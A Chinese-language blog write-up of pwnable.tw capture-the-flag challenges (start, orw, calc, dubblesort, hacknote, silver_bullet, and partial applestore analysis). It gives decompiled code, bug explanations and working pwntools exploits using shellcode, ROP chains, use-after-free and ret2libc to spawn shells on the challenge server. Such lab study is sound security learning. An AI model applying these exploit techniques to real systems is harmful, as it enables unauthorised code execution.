好久没碰pwn了,找找感觉
pwnable.tw网站的题都进不去,审查元素竟然没见到button响应??于是就在源码里找题的文件源码保存下来,苟且做题

start

见到的最轻巧的一个题

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
func main()
push esp
; 4: result = 3;
push offset _exit
xor eax, eax
; 5: __asm
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push ':FTC'
push ' eht'
push ' tra'
push 'ts s'
push 2774654Ch
mov ecx, esp ; addr
mov dl, 14h ; len
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write
xor ebx, ebx
mov dl, 60
mov al, 3
int 80h ; LINUX -
add esp, 14h
retn

func exit()
pop esp
xor eax, eax
inc eax
int 80h

以上为所有的代码。。。 可以看出先使用系统调用write到屏幕,然后又调用read,调用完退出

分析

大致推测应该要使用ret2shellcode,一共可以输入60长度的字符,20个就会溢出,所以想着将shellcode放在返回地址之后。
看了一下pwntools自带的shellcraft长度也有44。。。所以需要自己写或者在shellstorm上找一找符合要求的。
不知道栈地址,所以需要第一次将返回地址覆盖为之前的mov ecx,esp地址,write输出泄露输入的起始地址。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

#sh = process('./start')
sh = remote('chall.pwnable.tw',10000)

shellcode ="\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
print len(shellcode)

pay = 'a'*20 + p32(0x8048087)
sh.recv()
sh.send(pay)
leak_addr = u32(sh.recv(4))
print hex(leak_addr)

esp_addr = leak_addr + 0x14
pay = 'a'*20 + p32(esp_addr) + shellcode
sh.send(pay)
#gdb.attach(sh)
sh.interactive()


[+] Opening connection to chall.pwnable.tw on port 10000: Done
21
0xff936bc0
[*] Switching to interactive mode
\x00\x00\x005o\x93\xff\x00\x00\x00\x00Go\x93\xff
$ whoami
start
$

orw

贼鸡儿诡异的一道题,回头发现题目名字很有深意 orw –> open read write

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}

orw_seccomp():
unsigned int orw_seccomp()
{
__int16 v1; // [esp+4h] [ebp-84h]
char *v2; // [esp+8h] [ebp-80h]
char v3; // [esp+Ch] [ebp-7Ch]
unsigned int v4; // [esp+6Ch] [ebp-1Ch]

v4 = __readgsdword(0x14u);
qmemcpy(&v3, &unk_8048640, 0x60u);
v1 = 12;
v2 = &v3;
prctl(38, 1, 0, 0, 0); // 38 PR_SET_NO_NEW_PRIVS
// 将调用线程的no_new_privs位设置为值
// ARG2。将no_new_privs设置为1,execve(2)承诺不会
// 授予执行任何无法完成的任务的权限
// 没有execve(2)调用(例如,渲染集合 -
// user-ID和set-group-ID模式位,以及非文件功能
// 功能性的)。设置后,该位不能取消设置。那个设定
// 这个位是由fork(2)和
// 克隆(2),并保存在execve(2)。
//
prctl(22, 2, &v1); // 22 PR_SET_SECCOMP
// seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的syscall, 这是不安全的,
// 比如劫持程序流后通过execve的syscall来getshell.通过seccomp我们可以在程序中禁用掉某些syscall,这样就算劫持了程序流也只能调用部分的syscall了.
// 大概是终结了系统调用的可能,也就很难getshell了。
return __readgsdword(0x14u) ^ v4;
}

分析

题目直接让输入shellcode,之后执行,仿佛很简单,但是orw_seccomp()这个函数里有一些奇奇怪怪的东西
看到了prctl函数。。。查了一些资料,看第一个的时候还以为是fork爆破canary,第二个查完发现应该是有一些特殊的点切入。

这块可以参考
https://github.com/torvalds/linux/blob/master/include/uapi/linux/prctl.h
http://man7.org/linux/man-pages/man2/prctl.2.html

因为看不了题,不过在源码里能看到

1
2
3
4
5
             <!-- description -->

<div class="description" hidden><p>Read the flag from <code>/home/orw/flag</code>.</p>

<p>Only <code>open</code> <code>read</code> <code>write</code> syscall are allowed to use.</p>

这个描述给了切入点hhhh,也就是需要这三个系统调用来得到flag嘛

"系统调用"

exp

简直就是汇编实习现场了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

#sh = process('./orw')
sh = remote("chall.pwnable.tw",10001)

shellcode='''
push {};
push {};
push {};
push {};
mov ebx,esp;
xor ecx,ecx;
xor edx,edx;
xor eax,eax;
mov al,0x5;
int 0x80; //open

mov ebx,eax;
xor eax,eax;
mov al,0x3;
mov ecx,esp;
mov dl,0x30;
int 0x80; //read

mov al,0x4;
mov bl,1;
mov dl,0x30;
int 0x80; //write
'''.format(hex(u32('ag'+chr(0)+chr(0))),hex(u32('w/fl')),hex(u32('e/or')),hex(u32('/hom')))

sh.sendline(asm(shellcode))
sh.interactive()


[+] Opening connection to chall.pwnable.tw on port 10001: Done
[*] Switching to interactive mode
Give my your shellcode:FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}
�u�\x0[*] Got EOF while reading in interactive
$

calc

前面还一对代码说题目干净,这个题就开始一堆代码了。。。

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
unsigned int calc()
{
int v1; // [esp+18h] [ebp-5A0h]
int v2[100]; // [esp+1Ch] [ebp-59Ch]
char s; // [esp+1ACh] [ebp-40Ch]
unsigned int v4; // [esp+5ACh] [ebp-Ch]

v4 = __readgsdword(0x14u);
while ( 1 )
{
bzero(&s, 0x400u); // 置字节字符串前n个字节为零且包括‘\0’。
if ( !get_expr((int)&s, 1024) )
break;
init_pool(&v1); //初始化v1
if ( parse_expr((int)&s, &v1) )
{
printf((const char *)&_d, v2[v1 - 1]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v4;
}

init_pool():

_DWORD *__cdecl init_pool(_DWORD *a1)
{
_DWORD *result; // eax
signed int i; // [esp+Ch] [ebp-4h]

result = a1;
*a1 = 0;
for ( i = 0; i <= 99; ++i )
{
result = a1;
a1[i + 1] = 0;
}
return result;
}

重点函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
signed int __cdecl parse_expr(int a1, _DWORD *a2)
{
int v2; // ST2C_4
int v4; // eax
int v5; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int O; // [esp+28h] [ebp-80h]
char *s1; // [esp+30h] [ebp-78h]
int num_left; // [esp+34h] [ebp-74h]
char s[100]; // [esp+38h] [ebp-70h]
unsigned int v11; // [esp+9Ch] [ebp-Ch]

v11 = __readgsdword(0x14u);
v5 = a1;
O = 0;
bzero(s, 0x64u);
for ( i = 0; ; ++i )
{
if ( *(char *)(i + a1) - '0' > (unsigned int)'\t' )
{
v2 = i + a1 - v5;
s1 = (char *)malloc(v2 + 1);
memcpy(s1, v5, v2);
s1[v2] = 0;
if ( !strcmp(s1, "0") ) // 输入不能为0
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}


num_left = atoi(s1);
if ( num_left > 0 )
{
v4 = (*a2)++; // v4为操作数数目
a2[v4 + 1] = num_left; // 操作数放入a2[1],a2[2],....
}


if ( *(_BYTE *)(i + a1) && *(char *)(i + 1 + a1) - '0' > (unsigned int)'\t' ) // 若下一个操作数仍未操作符即报错
{
puts("expression error!");
fflush(stdout);
return 0;
}


v5 = i + 1 + a1;
if ( s[O] ) // s[0]为操作数数目
{
switch ( *(char *)(i + a1) )
{
case '%':
case '*':
case '/':
if ( s[O] != '+' && s[O] != '-' )
{
eval(a2, s[O]);
s[O] = *(_BYTE *)(i + a1);
}
else
{
s[++O] = *(_BYTE *)(i + a1);
}
break;
case '+':
case '-':
eval(a2, s[O]);
s[O] = *(_BYTE *)(i + a1);
break;
default:
eval(a2, s[O--]);
break;
}
}
else
{
s[O] = *(_BYTE *)(i + a1);
}
if ( !*(_BYTE *)(i + a1) )
break;
}
}
while ( O >= 0 )
eval(a2, s[O--]);
return 1;
}



func eval():

_DWORD *__cdecl eval(_DWORD *a1, char a2)
{
_DWORD *result; // eax

if ( a2 == '+' )
{
a1[*a1 - 1] += a1[*a1];
}
else if ( a2 > '+' )
{
if ( a2 == '-' )
{
a1[*a1 - 1] -= a1[*a1];
}
else if ( a2 == '/' )
{
a1[*a1 - 1] /= a1[*a1];
}
}
else if ( a2 == '*' )
{
a1[*a1 - 1] *= a1[*a1];
}
result = a1;
--*a1;
return result; // 每一次计算的结果储存在 a1[1]
}

分析

看上去比较杂乱,看了好久也没找到漏洞。。。分析一波大佬们的思路。

程序中将a1[0] 存放操作数数目, a1[1,2…]后面存放操作数
用num来表示a1

则eval函数的逻辑就是这样:双目运算符,num[0] = 2,所以计算 a+b 逻辑便是:
num[num[0] - 1] = num [2 - 1 ]= num[num[0] - 1] + num[ num[0] ] = num[2-1] + num[2]

看样子没什么问题,但是假如直接输入比如说 +100, num[0] = 1 ,num[1] = 100
num[num[0] - 1] = num [1 -1 ] = num[0] = num[num[0] - 1] + num[num[0]] = 1 + 100 = 101

可以看出来num[0]的值被改变了,而程序最后输出是输出num[num[0]-1]的值,在这里也就是输出num[101 -1] = num [100]
也就可以泄露栈内存了!!

第二步,假如输入 +100+12,计算逻辑便是:
num[num[0] - 1] = num [100] = num[num[0] - 1] + num[num[0]] = num[100] + num[101] = num[350] + 12 //为什么12会在num[101]处

总之,这样子便能对任意栈地址写了!!

由于每次计算都会对calc的栈区清零(bzero函数),所以我们要写到其他地方栈区,比如说,main函数的返回地址。(直接写以绕过canary)

因为输入输出什么的都是数字,所以系统调用最为明智。

exp

!!!发现了神器!!!很早之前听说过的ropchain,没有在意,没想到,太可怕了!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

sh = process('./calc')
bin = ELF('./calc')
sh = remote('chall.pwnable.tw', 10100)


!!!! ROPgadget --binary ./calc --ropchain !!!!直接生成完整的rop链,简直不要太可怕

from struct import pack

# Padding goes here
p = ''
p+=p32(0x804967a)
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec060) # @ .data
p += pack('<I', 0x0805c34b) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec064) # @ .data + 4
p += pack('<I', 0x0805c34b) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec068) # @ .data + 8
p += pack('<I', 0x080550d0) # xor eax, eax ; ret
p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481d1) # pop ebx ; ret
p += pack('<I', 0x080ec060) # @ .data
p += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ec068) # @ .data + 8
p += pack('<I', 0x080ec060) # padding without overwrite ebx
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec068) # @ .data + 8
p += pack('<I', 0x080550d0) # xor eax, eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x08049a21) # int 0x80

for i in range(len(p)/4-1):
sh.sendline('+'+str(369+i)+'-'+str(u32(p[i*4:i*4+4]))+'+'+str(u32(p[i*4+4:i*4+8])))

sh.sendline('')

sh.interactive()

$ whoami
calc

下面这个是相对正常的exp。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

p=remote('chall.pwnable.tw',10100)
#p=process("./calc")
key=[0x0805c34b,11,0x080701d1,0,0,0x08049a21,0x6e69622f,0x0068732f]
p.recv()
p.sendline('+360')
addr_bp=int(p.recv())
addr_re=((addr_bp+0x100000000)&0xFFFFFFF0)-16
addr_str=addr_re+20-0x100000000
addr=361
for i in range(5):
p.sendline('+'+str(addr+i))
ans=int(p.recv())
if key[i]<ans:
ans=ans-key[i]
p.sendline('+'+str(addr+i)+'-'+str(ans))
else:
ans=key[i]-ans
p.sendline('+'+str(addr+i)+'+'+str(ans))
p.recv()
p.sendline('+'+'365'+str(addr_str))
p.recv()
for i in range(5,8):
p.sendline('+'+str(addr+i))
ans=int(p.recv())
if key[i]<ans:
ans=ans-key[i]
p.sendline('+'+str(addr+i)+'-'+str(ans))
else:
ans=key[i]-ans
p.sendline('+'+str(addr+i)+'+'+str(ans))
p.recv()
p.send('kirin'+'\n')
p.interactive()


$ whoami
calc

dubble sort

冒泡排序,小小的漏洞,简直就是课设车祸现场hhh
只找到了第一个漏洞,泄露下地址,然后gg

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int *v4; // edi
unsigned int v5; // esi
unsigned int v6; // esi
int v7; // ST08_4
int result; // eax
unsigned int num; // [esp+18h] [ebp-74h]
int v10; // [esp+1Ch] [ebp-70h]
char buf; // [esp+3Ch] [ebp-50h]
unsigned int canary; // [esp+7Ch] [ebp-10h]

canary = __readgsdword(0x14u);
sub_8B5();
__printf_chk(1, (int)"What your name :");
read(0, &buf, 0x40u); // 没有截断,泄露libc基地址
__printf_chk(1, (int)"Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &num); //没有限制输入个数,之后能栈溢出
v3 = num;
if ( num )
{
v4 = &v10;
v5 = 0;
do
{
__printf_chk(1, (int)"Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", v4);
++v5;
v3 = num;
++v4;
}
while ( num > v5 );
} //
//
//
dubblesort((unsigned int *)&v10, v3); // 出人意料的没有漏洞。。。。
//
puts("Result :"); // print
if ( num )
{
v6 = 0;
do
{
v7 = *(&v10 + v6);
__printf_chk(1, (int)"%u ");
++v6;
}
while ( num > v6 );
} //
//
//
result = 0;
if ( __readgsdword(0x14u) != canary )
process_end();
return result;
}

分析

刚开始输入name,然后会将其打印出来,因为read没有\x00截断,所以可以泄露出栈内存泄露libc基地址。

之后在输入个数时scanf不会限制个数,所以之后排完序后会栈溢出,但是因为程序有canary保护,不知道怎么利用。

大概是因为canary < system_addr < binsh_addr 所以试图让排序后的canary仍然不变,system覆盖返回地址,之后在有个/bin/sh

整体思路便是ret2libc

他们不知道怎么发现的如果在排序的时候输入 + 会输出栈的内容且不退出,只知道输入abc这些字符会直接输出栈内容并退出
。。。之前输出的数据一直很少,没发现。。

ps:新的寻找/bin/sh的方法!!

1
hexdump -C ./libc_32.so.6|grep  /bin  -A 1

而且之前的gdb还是有问题的,attach会直接终结进程,之后会找个法子用ida调试,那样子会舒服不少。

exp

先把大佬的放上来吧。。之后自己调成功了再放自己的。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

got_off = 0x1b0000
system_off = 0x3a940
bin_sh_off = 0x158e8b

p = remote("chall.pwnable.tw",10101)
p.recv()
p.sendline('a'*24)
got_addr = u32(p.recv()[30:34])-0xa
libc_addr = got_addr-got_off
system_addr = libc_addr + system_off
bin_sh_addr = libc_addr + bin_sh_off
p.sendline('35')
p.recv()
for i in range(24):
p.sendline('0')
p.recv()
p.sendline('+')
p.recv()
for i in range(9):
p.sendline(str(system_addr))
p.recv()
p.sendline(str(bin_sh_addr))
p.recv()
p.interactive()

参考:https://bbs.pediy.com/thread-228226.htm

hacknote

看着好生熟悉,看了下题目,感觉是之前的UAF的题,回去看了下,果然是hhhhh,不过这次多给了个libc,去掉了之前的之前打印flag的函数、

题目

三个功能,添加,打印,删除、

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
unsigned int add()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( idx <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !ptr[i] )
{
ptr[i] = malloc(8u); // ptr[i] *ptr
//
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)ptr[i] = sub_804862B; //
//
//
//
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
} //
//
//
//
printf("Content :");
read(0, *((void **)ptr[i] + 1), size);
puts("Success !");
++idx;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}


unsigned int print()
{
int idx; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
idx = atoi(&buf);
if ( idx < 0 || idx >= ::idx )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[idx] )
(*(void (__cdecl **)(void *))ptr[idx])(ptr[idx]);
return __readgsdword(0x14u) ^ v3;
}

unsigned int sub_80487D4()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= idx )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1)); // ptr[v1] puts指针
// ptr[v1]+1 content指针
free(ptr[v1]); // uaf
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

分析

add 函数会分配大小为8的内存块存放puts与content的指针,因为free之后没有将其指向null,所以可以利用uaf漏洞
覆盖note0的指针,将其指向某got地址,print泄露真实地址,计算得到system真实地址
再次修改其为system地址,需要使用参数截断—system的参数即为结构体本身
这里需要使用system的参数截断,例如 “||sh”或者”;sh”

感觉正在用着残破不堪的工具。。要完了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

def add(size,content):
sh.recvuntil("choice :")
sh.sendline("1")
sh.recvuntil("size :")

sh.sendline(size)
sh.recvuntil("Content :")
sh.sendline(content)

def delete(index):
sh.recvuntil("choice :")
sh.sendline("2")
sh.recvuntil("Index :")
sh.sendline(index)

def print(index):
sh.recvuntil("choice :")
sh.sendline("3")
sh.recvuntil("Index :")
sh.sendline(index)

#sh = process('./hacknote')
sh = remote("chall.pwnable.tw", 10102)
elf=ELF("./hacknote")
libc=ELF("./libc_32.so.6")

read_got=elf.got["read"]
putnote=0x804862b

add("16",15*"a")
add("16",15*"a")
delete('0')
delete('1')

add('8',p32(putnote)+p32(read_got))
print('0')
read_addr=u32(sh.recv()[:4])
print hex(read_addr)

sys_addr=read_addr-libc.symbols["read"]+libc.symbols["system"]
delete('2')
add('8',p32(sys_addr)+";sh\x00")

print('0')
sh.interactive()

silver_bullet

风格比较有意思的一个题目

题目

三个选项:
1.create_bullet description最大为0x30,
2.power_up 若description小于0x30,最多可以增加至0x30,
3.beat 用上面的power beat HP为0x7fffffff的werewolf,打败便退出。

重点函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl power_up(char *bullet_ptr)
{
char s; // [esp+0h] [ebp-34h]
size_t v3; // [esp+30h] [ebp-4h]

v3 = 0;
memset(&s, 0, 0x30u);
if ( !*bullet_ptr )
return puts("You need create the bullet first !");
if ( *((_DWORD *)bullet_ptr + 12) > 0x2Fu )
return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(&s, 48 - *((_DWORD *)bullet_ptr + 12));

strncat(bullet_ptr, &s, 48 - *((_DWORD *)bullet_ptr + 12));

v3 = strlen(&s) + *((_DWORD *)bullet_ptr + 12);
printf("Your new power is : %u\n", v3);
*((_DWORD *)bullet_ptr + 12) = v3;
return puts("Enjoy it !");
}

分析

乍一看感觉逻辑没什么问题,寻找可能有问题的地方,最后问题在strncat上
因为程序的存在一个结构

1
2
3
4
struct bullet{
char bullet_ptr[0x30]
int length
}

而strncat合并字符串时,合并完之后会在后面加上\x00,因为上面结构体的存在,我们就有希望覆盖length,然后再次powerup便可以溢出覆盖返回地址了。

exp

本地测试莫名其妙过不了,但是远程没问题。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
#context.log_level = 'debug'
#sh = process ('./silver_bullet')
sh = remote('chall.pwnable.tw',10103)
elf = ELF('./silver_bullet')
libc = ELF('libc_32.so.6')

def create(con):
sh.sendline('1')
sh.recvuntil('of bullet :')
sh.send(con)

def powerup(con):
sh.sendline('2')
sh.recvuntil('of bullet :')
sh.send(con)

def beat():
sh.sendline('3')

pop_ebx_ret = 0x8048475

create('a'*(0x30-1))
powerup('1')

pay = '\xff'*3 + 'zzzz'
pay += p32(elf.plt['puts']) + p32(pop_ebx_ret) + p32(elf.got['puts'])
pay += p32(elf.symbols['main'])

powerup(pay)

beat()

sh.recvuntil('win !!\n')
puts_addr = u32(sh.recv(4))
system_addr = puts_addr - libc.symbols['puts'] + libc.symbols['system']
binsh_addr = puts_addr - libc.symbols['puts'] + libc.search('/bin/sh\x00').next()

success("system_addr : " + hex(system_addr))
success("binsh_addr : " + hex(binsh_addr))


create('a'*(0x30-1))
powerup('1')
pay = '\xff'*3 + 'bbbb'
pay += p32(system_addr) + p32(pop_ebx_ret) + p32(binsh_addr)
powerup(pay)

beat()
sh.recv()
sh.interactive()

applestore

好难啊啊啊啊啊,心累的不行,看大佬的wp回回血

ps: 假如在 libc = ELF(‘./libc_32.so.6’) 时出现这种报错:ValueError: seek out of range , 多半就是文件没下载完全。。

题目

主要功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int menu()
{
puts("=== Menu ===");
printf("%d: Apple Store\n", 1);
printf("%d: Add into your shopping cart\n", 2);
printf("%d: Remove from your shopping cart\n", 3);
printf("%d: List your shopping cart\n", 4);
printf("%d: Checkout\n", 5);
return printf("%d: Exit\n", 6);
}

unsigned int handler()
{
char nptr; // [esp+16h] [ebp-22h]
unsigned int v2; // [esp+2Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
while ( 1 )
{
printf("> ");
fflush(stdout);
my_read(&nptr, 0x15u);
switch ( atoi(&nptr) )
{
case 1:
list();
break;
case 2:
add();
break;
case 3:
delete();
break;
case 4:
cart();
break;
case 5:
checkout();
break;
case 6:
puts("Thank You for Your Purchase!");
return __readgsdword(0x14u) ^ v2;
default:
puts("It's not a choice! Idiot.");
break;
}
}
}

其他函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
unsigned int add()         //添加购物车,采用了my_read函数,但是存在问题,也就是在read时可以输入\x00在中间分隔,以便在不影响后面的基础上,覆盖后面栈上的内容。
{
char **v1; // [esp+1Ch] [ebp-2Ch]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v3; // [esp+3Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Device Number> ");
fflush(stdout);
my_read(&nptr, 0x15u);
switch ( atoi(&nptr) )
{
case 1:
v1 = create((int)"iPhone 6", (char *)199);
insert((int)v1);
goto LABEL_8;
case 2:
v1 = create((int)"iPhone 6 Plus", (char *)299);
insert((int)v1);
goto LABEL_8;
case 3:
v1 = create((int)"iPad Air 2", (char *)499);
insert((int)v1);
goto LABEL_8;
case 4:
v1 = create((int)"iPad Mini 3", (char *)399);
insert((int)v1);
goto LABEL_8;
case 5:
v1 = create((int)"iPod Touch", (char *)199);
insert((int)v1);
LABEL_8:
printf("You've put *%s* in your shopping cart.\n", *v1);
puts("Brilliant! That's an amazing idea.");
break;
default:
puts("Stop doing that. Idiot!");
break;
}
return __readgsdword(0x14u) ^ v3;
}


int cart()
{
signed int v0; // eax
signed int v2; // [esp+18h] [ebp-30h]
int cost; // [esp+1Ch] [ebp-2Ch]
_DWORD *i; // [esp+20h] [ebp-28h]
char buf; // [esp+26h] [ebp-22h]
unsigned int v6; // [esp+3Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
v2 = 1;
cost = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(&buf, 0x15u);
if ( buf == 'y' )
{
puts("==== Cart ===="); //遍历链表来输出cart
for ( i = (_DWORD *)mycart; i; i = (_DWORD *)i[2] )
{
v0 = v2++;
printf("%d: %s - $%d\n", v0, *i, i[1]); // i[1] == money

cost += i[1];
}
}
return cost;
}


unsigned int delete()
{
signed int v1; // [esp+10h] [ebp-38h]
_DWORD *v2; // [esp+14h] [ebp-34h]
int v3; // [esp+18h] [ebp-30h]
int FD; // [esp+1Ch] [ebp-2Ch]
int BK; // [esp+20h] [ebp-28h]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v7; // [esp+3Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
v1 = 1;
v2 = (_DWORD *)mycart;
printf("Item Number> ");
fflush(stdout);
my_read(&nptr, 0x15u);
v3 = atoi(&nptr);
while ( v2 )
{


if ( v1 == v3 ) //典型的unlink
{
FD = v2[2];
BK = v2[3];
if ( BK )
*(_DWORD *)(BK + 8) = FD;
if ( FD )
*(_DWORD *)(FD + 12) = BK;


printf("Remove %d:%s from your shopping cart.\n", v1, *v2);
return __readgsdword(0x14u) ^ v7;
}
++v1;
v2 = (_DWORD *)v2[2];
}
return __readgsdword(0x14u) ^ v7;
}


unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char *v2; // [esp+18h] [ebp-20h]
int v3; // [esp+1Ch] [ebp-1Ch]
unsigned int v4; // [esp+2Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(&v2, "%s", "iPhone 8");
v3 = 1;
insert((int)&v2);
v1 = 7175;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v4;
}

分析

在不断的使用添加购物车的函数add后,其形成了一个链表,而在输出时是通过遍历链表来依次输出的。
结构str大概如下:

1
2
3
4
str[0]: cost
str[1]: name---> 实际为指针
str[2]: FD
str[3]: BK

而我们在输入时使用的my_read函数(cart/delete函数均调用)因为可以覆盖后面的栈,所以会有希望去修改链表的节点为got表之类的。然后cart函数来泄露libc基址等等。

同时,在delete函数中使用了unlink的过程,也有利用的希望。RELRO不是full说明GOT表还是可以修改的,所以可以用unlink来修改got表.

1
2
3
4
5
6
7
# checksec applestore
[*] '/root/pwnable/applestore/applestore'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

